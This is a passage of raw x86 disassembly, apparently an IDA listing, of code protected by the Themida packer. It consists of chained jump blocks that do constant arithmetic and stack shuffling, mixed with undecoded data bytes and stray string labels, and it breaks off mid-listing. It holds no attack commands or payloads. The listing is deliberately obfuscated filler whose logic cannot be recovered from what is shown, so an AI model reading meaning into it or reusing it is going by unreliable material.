; ---------------------------------------------------------------------------


loc_614B36:				; CODE XREF: Themida_:00617813j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_614B42:				; CODE XREF: Themida_:0061A846j
		push	1C7Fh
		mov	[esp], ebx
		jmp	loc_618252
; ---------------------------------------------------------------------------


loc_614B4F:				; CODE XREF: Themida_:00618BFDj
		not	eax
		xor	eax, 167BF190h
		add	esi, eax
		jmp	loc_610F20
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 55h
		dd 84537DBDh, 5E5C140h,	9064C581h, 0E801EF75h, 0E9242C8Bh
		dd 0FFFFE390h
; ---------------------------------------------------------------------------


loc_614B78:				; CODE XREF: Themida_:0061BDC1j
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------


loc_614B7D:				; CODE XREF: Themida_:0061554Fj
		shl	edi, 3
		add	edi, 91CE2924h
		jmp	loc_61351A
; ---------------------------------------------------------------------------
aASC		db ']c',0
		dw 8B00h
		dd 0C4812424h, 4, 9C240401h, 0FFAD29E9h, 240C8BFFh, 5104C483h
		dd 268h, 0C6815900h, 7A345BE0h,	3403E9h, 24148B00h, 5E08950h
		dd 4, 305BE56h,	0EEC1725Ah, 2E6C104h, 7F44C681h, 0F001E369h
		dd 6ED5E9h
		db 0
; ---------------------------------------------------------------------------


loc_614BE1:				; CODE XREF: Themida_:0060FBCCj
		mov	ebx, esp
		jmp	loc_619CCD
; ---------------------------------------------------------------------------
		dd 0E95DEB21h, 12CDh, 405h, 4BE5600h, 5000000h,	50DB1CD5h
		dd 14E9F001h, 33000050h, 248B240Ch, 5A545224h, 4C281h
		dd 0C2810000h, 4, 0FFCFD3E9h, 2DE801FFh, 273452Dh, 5D2434FFh
		dd 8304C483h, 69E904ECh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_614C37:				; CODE XREF: Themida_:0061AE32j
		shl	edi, 5
		xor	edi, 33F42B9h
		push	ebx
		mov	ebx, 459A7E33h
		inc	ebx
		inc	ebx
		xor	ebx, 793D5F94h
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	edi, 7
		push	ebp
		mov	ebp, 3B34240Eh
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_6186C6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89512414h, 4C181E1h,	83000000h, 0C8704C1h, 3723E924h
		dd 248B0000h, 9CE95724h, 57000021h, 9420F4BFh, 4FCF8131h
		dd 0E9759055h, 4FC1h, 805BDD00h, 0EA301BC5h, 502C59h, 0E95004D0h
		dd 0FFFFF5FBh, 0C281CA01h, 31E37FDh, 81240C8Bh,	4C4h, 2C28100h
		dd 0E9000000h, 652Dh, 0C381E389h, 4, 8704EB83h,	248B241Ch
		dd 6B72E924h, 48B0000h,	4C48124h, 0E9000000h, 0FFFFABDAh
; ---------------------------------------------------------------------------


loc_614CF4:				; CODE XREF: Themida_:00611C89j
		pop	esp
		jmp	loc_614F5E
; ---------------------------------------------------------------------------


loc_614CFA:				; CODE XREF: Themida_:00612171j
		add	ecx, 4
		jmp	loc_6135E7
; ---------------------------------------------------------------------------
aPqIJ0Y		db 'PQ봆0Y',0
		db 0E3h
		dd 8124048Bh, 4C4h, 68C32800h, 71A1h, 0B1240C89h, 0B6525309h
		dd 3DF68037h, 0E953DEF6h, 6ADBh
; ---------------------------------------------------------------------------


loc_614D34:				; CODE XREF: Themida_:00615173j
		mov	esi, ebx
		push	ebx
		jmp	loc_61B783
; ---------------------------------------------------------------------------


loc_614D3C:				; CODE XREF: Themida_:0060FC29j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_61A224
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE00C8EDh, 57240C8Bh, 0C781E789h, 4, 4F8AE9h, 0C805AD00h
		dd 2D229062h, 13390852h, 0FFD964E9h, 7EC381FFh,	29096768h
		dd 7EEB81D3h, 0E9096768h, 0FFFFBB39h, 3CBA52h, 0C2810000h
		dd 207C6486h, 0FFB714E9h, 5C7468FFh, 14890000h,	4E95124h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_614DA3:				; CODE XREF: Themida_:00616E14j
		add	esi, 4
		jmp	loc_61BE83
; ---------------------------------------------------------------------------


loc_614DAE:				; CODE XREF: Themida_:00614430j
		mov	[esp], esi
		mov	esi, 7E5B4A4Ah
		or	esi, 44707F04h
		shl	esi, 3
		xor	esi, 0AA47969Ah
		or	edx, esi
		jmp	loc_61092A
; ---------------------------------------------------------------------------
		dd 2EDFBD55h, 0ED816135h, 53F62063h, 0D5F7D5F7h, 49B9E9h
		dd 24048700h, 124248Bh,	0C7835EF7h, 243C3302h, 33243C31h
		dd 0D35C243Ch, 0E99C243Ch, 0FFFFAACEh, 8B24048Fh, 4312424h
		dd 0AAC0E924h, 0C281FFFFh, 4, 4C281h, 14870000h, 54535C24h
		dd 0E9241C8Bh, 2AC9h, 240C8966h, 0C0E7B353h, 0EB8004EBh
		dd 36B0E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_614E3A:				; CODE XREF: Themida_:00610E4Ej
		add	ecx, 64DA7EDBh
		sub	eax, 165214FEh
		add	eax, ecx
		add	eax, 165214FEh
		jmp	loc_61B402
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 2C870000h, 8B665C24h, 65E92404h, 50000025h
		dd 3B76E9h
		db 0
; ---------------------------------------------------------------------------


loc_614E6D:				; CODE XREF: Themida_:00616228j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_6112CA
; ---------------------------------------------------------------------------
		dd 8FB9515Eh, 0E934CA0Fh, 442Ah, 4BBh, 5BD90100h, 5C240C87h
		dd 0FFF49AE9h, 0FE7304FFh, 7E0C0C0h, 0D0F6D8F6h, 0C1302404h
		dd 59CA8858h, 0EA80D2F6h, 613EE901h, 54570000h,	7F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_614EC1:				; CODE XREF: Themida_:00615560j
		mov	edx, ebx
		pop	ebx
		add	edx, ebx
		jmp	loc_61AA3A
; ---------------------------------------------------------------------------


loc_614ECB:				; CODE XREF: Themida_:0061478Dj
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_615A7C
; ---------------------------------------------------------------------------
		dw 0C605h
		dd 1144331h, 31C62DC8h,	0BB531443h, 3EB14D3Ah, 0C381D3F7h
		dd 658A8F93h, 595BD829h, 733968h, 242C8900h, 0FFB3B9E9h
		dd 81D1F7FFh, 0FF0A1FC1h, 5137E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_614F12:				; CODE XREF: Themida_:0061835Bj
		add	esp, 4
		mov	[edx+30h], edi
		pop	edi
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFF871E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_614F21:				; CODE XREF: Themida_:00612FE7j
		or	edx, eax
		shl	edx, 1
		push	edx
		sub	esp, 4
		jmp	loc_6156C0
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 1FE95758h, 89000046h, 5153240Ch, 0ABE9A4B1h,	5B000010h
		dd 461AE9h, 40500h, 0C0830000h,	24048704h, 2297E9h, 0A970E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_614F5E:				; CODE XREF: Themida_:00614CF5j
		jmp	loc_61BEAB
; ---------------------------------------------------------------------------


loc_614F63:				; CODE XREF: Themida_:006177BAj
		sub	eax, edx
		jmp	loc_6150ED
; ---------------------------------------------------------------------------
		dw 0FF66h
a2skq		db '2kQ',0
		align 2
		dw 0E689h
		dd 4C681h, 0EE830000h, 24348704h, 2424895Ch, 0FFC1A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_614F89:				; CODE XREF: Themida_:00611670j
		push	45991E70h
		pop	esi
		add	esi, 0C9F5EBE1h
		sub	esp, 4
		mov	[esp], esi
		pop	ecx
		jmp	loc_61208F
; ---------------------------------------------------------------------------


loc_614FA4:				; CODE XREF: Themida_:00610DB4j
		push	edx
		mov	edx, 3A633A08h
		jmp	loc_613E57
; ---------------------------------------------------------------------------


loc_614FAF:				; CODE XREF: Themida_:0061A68Dj
		xor	edx, 6B6F45FEh
		and	ecx, edx
		jmp	loc_6144CB
; ---------------------------------------------------------------------------
		dd 0FA99E981h, 0EB810F29h, 1B2C3DA0h, 0C381CB29h, 1B2C3DA0h
		dd 0A2E38159h, 31106407h, 514DE9CBh, 0CF290000h, 0C612E959h
		dd 0F829FFFFh, 5C4AE95Fh, 9CB90000h, 5037A447h,	2F124BB8h
		dd 0DD0F774h, 267D3756h, 1EA32D40h, 0E8C1033Ch,	60B20508h
		dd 68E9006Ah
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_615013:				; CODE XREF: Themida_:00616E63j
		mov	ebx, 670D8A0Dh
		jmp	loc_610535
; ---------------------------------------------------------------------------


loc_61501D:				; CODE XREF: Themida_:00613616j
		shl	ecx, 3
		jmp	loc_61007A
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0B9h
		dd 31BCA8ABh, 241C8BDEh, 5F03E9h, 0FEB8100h, 432A9E7Ch
		dd 80CBF381h, 0DE01C53Dh, 2C6815Bh, 0E9000000h,	0FA8h
; ---------------------------------------------------------------------------


loc_615050:				; CODE XREF: Themida_:00613110j
		push	ebp
		mov	ebp, 1AA11547h
		and	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_6187E3
; ---------------------------------------------------------------------------
		db 0BAh
		dd 30B2618Ch, 704EA8BDh, 0E9D53103h, 145Bh, 8104C483h
		dd 4C7h, 2C78300h, 2448E957h, 0EA890000h, 7EBA525Dh, 814AA222h
		dd 0D414FBEBh, 29EB8142h, 29190825h, 29C381D3h,	81190825h
		dd 0D414FBC3h, 0D3015A42h, 227EC381h, 835A4AA2h, 0EC8302C3h
		dd 241C8904h, 42474FFh,	24048F5Bh, 0E924248Bh, 42FAh, 0FFA801E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6150CD:				; CODE XREF: Themida_:00615788j
		pop	esi
		sub	esi, 6C721A41h
		push	esi
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, edx
		pop	edx
		push	ebp
		pop	eax
		mov	ebp, [esp]
		push	esi
		jmp	loc_61352E
; ---------------------------------------------------------------------------


loc_6150ED:				; CODE XREF: Themida_:00614F65j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_61A34B
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 7
		dd 0E91922C9h, 0FFFFD44Ah, 4B4968h, 24148900h, 657955BAh
		dd 24542954h, 24148B04h, 0E9E78957h, 0FFFFF8EFh, 0C12874B0h
		dd 0C1805866h, 0C8885008h, 5958C388h, 34FFD800h, 241C8B24h
		dd 0E904C483h, 267Fh, 8704C183h, 815C240Ch, 251F2404h
		dd 2C81472Dh, 6A215124h, 24040179h, 51240481h, 81796A21h
		dd 251F242Ch, 6857472Dh, 5C70059Fh, 0EADAE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_615172:				; CODE XREF: Themida_:0061B156j
		push	esi
		jmp	loc_614D34
; ---------------------------------------------------------------------------
		dd 8704E983h, 0F4E9240Ch
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_615183:				; CODE XREF: Themida_:00611184j
		add	ebx, 9D7939E8h
		jmp	loc_6180B5
; ---------------------------------------------------------------------------
aKsE		db 'Ke',0
		align 4
		dd 4C781h, 87E90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61519F:				; CODE XREF: Themida_:00617B7Ej
		pop	edi
		push	ecx
		mov	ecx, 6C5C77C3h
		sub	edx, ecx
		jmp	loc_612735
; ---------------------------------------------------------------------------
		db 2Dh,	21h, 38h
		dd 0F72D3257h, 0E926A908h, 0FFFFE5CBh, 8904EC83h, 8B542414h
		dd 89522414h, 4C281E2h,	83000000h, 148704C2h, 0C2815C24h
		dd 4, 4B850h, 0C2010000h, 0DFD9E958h, 7429FFFFh, 6C810824h
		dd 2EF0824h, 33E90A38h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6151FB:				; CODE XREF: Themida_:00614AD4j
		mov	esi, esp
		sub	esp, 4
		jmp	loc_6154F2
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0BFh
		dd 1C9D39Dh, 0C2835DEAh, 24148704h, 1D7CE9h, 95EF8100h
		dd 813FA44Eh, 0B84D5EF7h, 0CEF8124h, 0E98063E3h, 0FFFFD2C7h
		dd 0E904C583h, 0FFFFB78Ah, 8B66F830h, 0C483241Ch, 49F26802h
		dd 14890000h, 3BC2E924h, 0E0D10000h, 0C105E0C1h, 0E12D04E8h
		dd 5744B008h, 0C781E789h, 4, 4EF81h, 3C870000h,	0C895C24h
		dd 18FFB924h, 0BF5751CCh, 73104003h, 34DEF781h,	0BDE95BDBh
		dd 66FFFFADh, 7BB86650h, 0C6896632h, 7CE95866h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_615297:				; CODE XREF: Themida_:0061660Fj
		push	edx
		mov	edx, 789E1403h
		sub	edx, 2ADC54EAh
		dec	edx
		add	edx, 52EE5128h
		push	243Dh
		mov	[esp], edx
		sub	dword ptr [esp], 1
		jmp	loc_6182F3
; ---------------------------------------------------------------------------


loc_6152BE:				; CODE XREF: Themida_:00619CADj
		dec	ecx
		shl	ecx, 7
		push	eax
		mov	eax, 0A2F987F1h
		xor	ecx, eax
		pop	eax
		sub	ebx, ecx
		pop	ecx
		jmp	loc_617AD2
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 0B278E900h,	0FE29FFFFh, 2116E9h, 4DE58100h
		dd 817BD44Ch, 1EDh, 0FFED8300h,	17E9DDF7h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6152FF:				; CODE XREF: Themida_:00615467j
		sub	dword ptr [esp+4], 7B190811h
		pop	edi
		jmp	loc_618912
; ---------------------------------------------------------------------------


loc_61530D:				; CODE XREF: Themida_:loc_616C4Aj
		std
		push	edx
		push	ebx
		mov	ebx, 5B7D15AEh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 74F53BAh
		sub	esi, 5BD411A4h
		jmp	loc_617530
; ---------------------------------------------------------------------------
aVsmf		db 'VmF',0
		db 0
; ---------------------------------------------------------------------------


loc_615331:				; CODE XREF: Themida_:00615E00j
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_61AB09
; ---------------------------------------------------------------------------
		dd 4BB53h, 0DA890000h, 0C949E95Bh, 487FFFFh, 0CEE95C24h
		dd 89FFFFE3h, 4C381E3h,	83000000h, 1C8704EBh, 0C895C24h
		dd 81E18924h, 4C1h, 0B3EBE900h,	6C01FFFFh, 0BE560424h
		dd 2969743Ah, 8247401h,	8324348Bh, 2C8B04C4h, 4C48324h
		dd 0FFA53DE9h, 809FB3FFh, 0CB809BC3h, 0B9C38077h, 891E9h
		dd 0E9AD6600h, 43B7h, 0FFA521E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6153AD:				; CODE XREF: Themida_:00612606j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_615572
; ---------------------------------------------------------------------------
		dd 0E902EFC1h, 63F4h
; ---------------------------------------------------------------------------


loc_6153D4:				; CODE XREF: Themida_:006101F0j
		add	esp, 4
		jmp	loc_61881C
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Eh,	5B54535Ch, 4C381h, 0C3830000h
		dd 74FF5304h, 8F5B0424h, 3B5C2404h, 0DAE99CC8h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_615403:				; CODE XREF: Themida_:0061091Dj
		add	ecx, ebp
		add	ecx, 6130721Eh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240418h, 0FFA495E9h, 48B66FFh, 0E906E924h
		dd 0CF01FFFFh, 0C0B60F59h, 508734FFh, 0DC717DB8h, 0AD8E916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_615456:				; CODE XREF: Themida_:00610E56j
		add	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], edi
		jmp	loc_6152FF
; ---------------------------------------------------------------------------


loc_61546C:				; CODE XREF: Themida_:00616D29j
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_619749
; ---------------------------------------------------------------------------
		dw 5104h
		dd 512CE800h, 81240C8Bh, 4C4h, 0FC33000h, 48FC0B6h, 4976E987h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_615492:				; CODE XREF: Themida_:0061B538j
		push	16F6h
		mov	[esp], edi
		jmp	loc_618382
; ---------------------------------------------------------------------------


loc_61549F:				; CODE XREF: Themida_:00617D06j
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_61ADF5
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 0A410E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6154BE:				; CODE XREF: Themida_:00617BC2j
		push	7823h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_61784E
		push	ecx
		jmp	loc_61B0A6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXptsx_		db 'XPTx.',0
		align 4
		dd 5C24048Fh, 0C24EE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6154F2:				; CODE XREF: Themida_:00615200j
		mov	[esp], eax
		push	18CBh
		mov	[esp], ecx
		mov	ecx, 55FB7083h
		mov	eax, ecx
		pop	ecx
		neg	eax
		sub	eax, 0AA048F79h
		add	esi, eax
		pop	eax
		push	edx
		jmp	loc_614AB9
; ---------------------------------------------------------------------------
		db 89h,	0FEh, 5Fh
aUQ5XsH		db 'UQ5',0Bh,'X$H',0
		dw 5F00h
		dd 2474FF56h, 29E95E04h, 66000048h, 666B64BDh, 5306EDC1h
		dd 0FFC9C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61553D:				; CODE XREF: Themida_:00612FCEj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 6DC63ADCh
		jmp	loc_614B7D
; ---------------------------------------------------------------------------


loc_615554:				; CODE XREF: Themida_:00618EA7j
		or	ebx, 3BA2696Bh
		add	ebx, 80000291h
		jmp	loc_614EC1
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 5
		dd 14F7554Dh, 0E7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_615572:				; CODE XREF: Themida_:006153C7j
		mov	edi, esp
		jmp	loc_610435
; ---------------------------------------------------------------------------
		db 9, 0C8h, 8Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_61A9F5
; ---------------------------------------------------------------------------
		dw 3B8h
		dd 295A897Bh, 0C68158C6h, 0F0FA4626h, 83E9F389h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61559B:				; CODE XREF: Themida_:00610953j
		sub	esi, ebx
		jmp	loc_61ACDA
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 52000000h,	4BAh, 0E9D70100h, 0FFFFB5DCh, 0E089505Ah
		dd 405h, 42D00h, 4870000h, 82E95C24h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6155CF:				; CODE XREF: Themida_:00610F75j
		or	edx, eax
		shl	edx, 1
		push	eax
		push	ebx
		jmp	loc_6179C6
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 6624248Bh, 2404B30Fh, 0A2E0E99Ch,	1C89FFFFh
		dd 4B92BB24h, 0E3C15330h, 78E94304h, 0D1FFFFBAh, 44A9E9E2h
		dd 2C8B0000h, 2A4A6824h, 0A7E90000h, 8B000058h,	5AE9240Ch
		dd 0BB000058h, 5E0052Bh, 0FFE67AE9h, 240C89FFh,	42474FFh
		dd 0FFAC47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_615631:				; CODE XREF: Themida_:0061353Cj
		mov	esp, [esp]
		jmp	loc_616F7C
; ---------------------------------------------------------------------------
		db 4Eh,	0E9h, 87h
		dd 51FFFFB5h, 57685350h, 5B18F42Ah, 0FFE976E9h,	24E959FFh
		dd 59000028h, 56FDE9h, 2404FF00h, 2CF5815Dh, 0C18F90B8h
		dd 0E58104EDh, 25BE78ECh, 0BC1AED81h, 0BA52BCB5h, 3F397A1Eh
		dd 295AD001h, 19BD55E8h, 8122F943h, 0F590EC5h, 16F58163h
		dd 451A2377h, 8EECC581h, 0E829A30Dh, 2FABE9h, 4EC8300h
		dd 0FFA9FBE9h, 555D66FFh, 508A6866h, 0E9565D66h, 0FFFFFBD3h
		dd 4C7815Fh, 0E9000000h, 0FFFFE1CFh
; ---------------------------------------------------------------------------


loc_6156C0:				; CODE XREF: Themida_:00614F29j
		mov	[esp], edi
		mov	edi, 77114E82h
		jmp	loc_617EB1
; ---------------------------------------------------------------------------
		db 88h,	0F4h, 88h
		dd 0BBDDE9E1h, 575FFFFFh, 4BFh,	0B2E98100h, 297BF155h
		dd 0B2C181F9h, 0E97BF155h, 105Bh, 5D2434FFh, 5704C483h
		dd 0C781E789h, 4, 0FFA7B0E9h, 0E18951FFh, 4BF57h, 16E90000h
		dd 66000055h, 0B55EE81h, 0FFEE8366h, 0C6C68166h, 0DEF76676h
		dd 0BD665566h, 216635C8h, 0C936E9EEh, 3489FFFFh, 51DBE24h
		dd 0EE810CEDh, 0E71CC198h, 2E2AC181h, 2DE9598Ch
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61574B:				; CODE XREF: Themida_:0060FF91j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_615D09
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 16EDh
; ---------------------------------------------------------------------------


loc_615764:				; CODE XREF: Themida_:006123B0j
		mov	[esp], ebp
		push	11AB08F4h
		pop	ebp
		add	ebp, 39B1804h
		push	ebx
		jmp	loc_611616
; ---------------------------------------------------------------------------


loc_615779:				; CODE XREF: Themida_:0060FA5Aj
		push	75F6h
		mov	[esp], ebx
		add	dword ptr [esp], 6C721A41h
		jmp	loc_6150CD
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 40500h, 4870000h, 48F5C24h, 0D3665C24h, 0E99C2404h
		dd 0FFFFA122h, 0C1E95666h, 1000052h, 0B3EE81D6h, 8B27797Ch
		dd 0C4812414h, 4, 38E2BF57h, 0C7831E62h, 7E7C1FFh, 661DF781h
		dd 0FB895442h, 0C3BD555Fh, 81572235h, 895529EDh, 3EB95156h
		dd 812ED058h, 0FDE1E2E9h, 59CD01F5h, 0B817C581h, 0BF571099h
		dd 54C27DACh, 15FFB01h,	49A3E9EBh, 24890000h, 24048324h
		dd 0EE41E904h, 0B652FFFFh, 63CE80C9h, 308FE9h, 7B476800h
		dd 24890000h, 24048124h, 4, 0D21EE95Ah,	0C181FFFFh, 4
		dd 8704C183h, 835C240Ch, 1C8904ECh, 7700BB24h, 0F74B5105h
		dd 21E268D3h, 0CBE90000h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61585B:				; CODE XREF: Themida_:006182EEj
		push	dword ptr [esp]
		pop	eax
		push	3F2Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_611799
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240489h, 0FFFFCF12h, 2404335Dh, 33240431h, 96E92404h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61588F:				; CODE XREF: Themida_:00613BC3j
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_6184BF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 4C681h, 0C6810000h, 4, 31243433h, 34332434h
		dd 24248B24h, 0FFEF57E9h, 148B66FFh, 0E0895024h, 405h
		dd 2C08300h, 5C240487h,	1645E9h
		db 0
; ---------------------------------------------------------------------------


loc_6158D5:				; CODE XREF: Themida_:0060F99Bj
		push	10CE76E0h
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FC77953h
		add	edi, ebx
		pop	ebx
		not	edi
		inc	edi
		push	edi
		jmp	loc_61A6F7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 4BD5524h, 81000000h,	0B4042444h, 122FD06h, 8104246Ch
		dd 0B404246Ch, 5D22FD06h, 0FFDFCEE9h, 45C981FFh, 0E950CC40h
		dd 2035h, 83D830ACh, 896602ECh,	0B1512414h, 88505311h
		dd 58C788C8h, 34FFFE88h, 89535B24h, 4C381E3h, 50000000h
		dd 4B8h, 58C30100h, 5C241C87h, 592434FFh, 404C483h, 2CF028D0h
		dd 685A66D0h, 0CB2h, 0FFA1D8E9h, 5FF829FFh, 8B66C331h
		dd 0EC812414h, 4, 89241C89h, 685552E3h,	56656185h, 81F5815Dh
		dd 0E9566561h, 0FFFFF6F2h, 0AEE95159h, 21FFFFE0h, 0B8505BDFh
		dd 3F294E55h, 18FCBB53h, 0D3F728F7h, 0C381DBF7h, 0A022A5Eh
		dd 575BD821h, 4124E9h, 242C8B00h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 815C240Ch, 4C4h, 0FFF02100h, 815E2434h, 4C4h
		dd 0FC00B00h, 64A284h, 530C6800h, 0ECE90000h, 81FFFFAEh
		dd 0D2958AF6h, 0FFF589D0h, 0A3E92434h, 89FFFFA4h, 0E389241Ch
		dd 4EC81h, 3C890000h, 265CBF24h, 0B850099Bh, 24C97DB1h
		dd 0C106E0C1h, 772D06E8h, 29DE5437h, 3569E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_615A2E:				; CODE XREF: Themida_:00613C3Aj
		mov	edx, edi
		pop	edi
		or	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6DC73844h
		sub	edx, 62793EB7h
		push	ecx
		mov	ecx, 71DA2B0Ah
		xor	edx, ecx
		pop	ecx
		shr	edx, 4
		inc	edx
		shl	edx, 1
		push	esi
		jmp	loc_6174EB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4832414h, 80C30002h, 0D8E9DCEBh
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_615A6B:				; CODE XREF: Themida_:0061B82Dj
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_617DE9
; ---------------------------------------------------------------------------


loc_615A7C:				; CODE XREF: Themida_:00614ED5j
		add	ecx, 4
		jmp	loc_6175CF
; ---------------------------------------------------------------------------


loc_615A87:				; CODE XREF: Themida_:00611290j
		pop	edx
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_6147D2
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 671C13DCh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 9EBB241Ch, 0E9BEF518h, 7A3h,	0C231C331h, 0FF9E01E9h
		dd 23BD55FFh, 0E9621548h, 0FFFFF811h, 422018BBh, 5BDD0957h
		dd 0DC2BF57h, 0FD296122h, 0D4BA525Fh, 2984AD75h, 59555AD5h
		dd 49D1F75Dh, 57B5E981h, 0B8502AB4h, 475E0EEFh,	48BC129h
		dd 565BE924h, 0CE680000h, 89000079h, 34FF243Ch,	24048B24h
		dd 4C481h, 0C4830000h, 2434FF04h, 4C4815Fh, 83000000h
		dd 2C8904ECh, 52BABD24h, 5DE97EB1h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_615B3F:				; CODE XREF: Themida_:006141AEj
		mov	esi, ecx
		pop	ecx
		pop	ebx
		jmp	loc_61602B
; ---------------------------------------------------------------------------


loc_615B48:				; CODE XREF: Themida_:00618F25j
		pop	esp
		push	edx
		push	esi
		push	2FC16906h
		pop	esi
		push	ebp
		mov	ebp, 0B295ECDh
		not	ebp
		inc	ebp
		neg	ebp
		push	eax
		mov	eax, 673A0603h
		or	ebp, eax
		pop	eax
		shl	ebp, 6
		xor	ebp, 55E71D44h
		jmp	loc_61961C
; ---------------------------------------------------------------------------
		db 31h
		dd 0EE92414h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_615B7B:				; CODE XREF: Themida_:0061B5A9j
		not	eax
		shl	eax, 7
		jmp	loc_61B521
; ---------------------------------------------------------------------------
		db 5Bh,	52h, 0B2h
		dd 3913E921h, 0F3800000h, 0E9DD8841h, 0FFFFFFEDh, 4EC8355h
		dd 108E9h, 91EA8100h, 0E938B754h, 0FFFFD768h, 83242C8Bh
		dd 0C10104C4h, 5CBBE9h
		db 0
; ---------------------------------------------------------------------------


loc_615BB9:				; CODE XREF: Themida_:00613629j
		push	edx
		jmp	loc_610592
; ---------------------------------------------------------------------------
		db 87h
		dd 248B242Ch, 240CFE24h, 9D00E99Ch, 8B59FFFFh, 0C483240Ch
		dd 22A96804h, 0C890000h, 5226B524h, 0ED8047B2h,	80D5000Ah
